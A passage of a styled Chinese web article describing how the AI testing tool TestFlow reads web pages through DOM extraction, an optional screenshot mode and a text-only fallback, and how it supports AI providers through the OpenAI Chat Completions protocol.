4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">testedKeys</span></code><span leaf=""> 去重 Map，实现双重防重复机制。</span></p><hr style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: 1px;"/><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">五、多模态页面感知系统</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">TestFlow 如何&#34;看懂&#34;一个网页？这是另一个核心技术点。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8363988383349468" data-type="png" data-w="1033" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038326" src="https://wechat2rss.xlab.app/img-proxy/?k=5a13717f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdXjLlaJ1Q5uqlNtKad7YAQibxiapJoSC6UOS5JzkyQ4czkDCcMZdsL0qQzAhofvDtCAPVcWia7Y4mhaDIqceQ8b5cfgSLpt6ZsdVQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">5.1 DOM 结构化提取</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">TestFlow 通过注入 JavaScript 代码，提取页面所有可交互元素的关键属性：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">每个元素提取 </span><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">tag</span></code><span leaf="">、</span><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">id</span></code><span leaf="">、</span><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">class</span></code><span leaf="">、</span><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">text</span></code><span leaf="">、</span><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">type</span></code><span leaf="">、</span><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">placeholder</span></code><span leaf=""> 等属性，最终组成一个结构化 JSON 数组，让 AI 精确知道页面上有哪些可操作的元素。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">5.2 智能模式（Smart Mode）</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">默认推荐的智能模式会根据页面复杂度自动切换：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">DOM 可交互元素 </span><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">≥ 10 个</span></strong><span leaf="">：仅用 DOM 数据，速度快、省 Token</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">DOM 元素稀少（**&lt; 10 个**）或 连续 DOM 模式已达 </span><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">5 轮</span></strong><span leaf="">：自动加入截图，借助视觉能力补充理解</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这在实际使用中非常实用：管理后台的表单页面元素密集，DOM 模式完全够用；而某些可视化大屏、图表页面需要截图才能理解。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">5.3 视觉能力自动降级</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">不是所有模型都支持图片输入。TestFlow 内置了视觉能力检测：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">当检测到模型不支持视觉时，自动剥离消息中的图片内容，降级为纯文本 DOM 模式。这使得纯文本模型（如 DeepSeek-Chat）也能正常使用。</span></p><hr style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: 1px;"/><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">六、AI 提供商覆盖</span></span></h1><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.884180790960452" data-type="png" data-w="1062" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038324" src="https://wechat2rss.xlab.app/img-proxy/?k=cfd6355b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdV1r10eFWNia8FQkNO39M1RSuAnX5VLxpqDKAl7UCIROU8uHe1qHGiapoxRsibE8y6q49u0bdWQD6FFe33lVOibOsaLF4MOkia6K7YM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">TestFlow 采用 </span><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">OpenAI Chat Completions 协议</span></strong><span leaf=""> 作为统一通信标准。由于主流 AI 提供商（包括国产的 DeepSeek、豆包）都兼容这套协议，一个 HTTP 客户端即可适配所有提供商。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">关键的差异化处理包括：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">认证头自动适配</span></strong><span leaf="">：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: 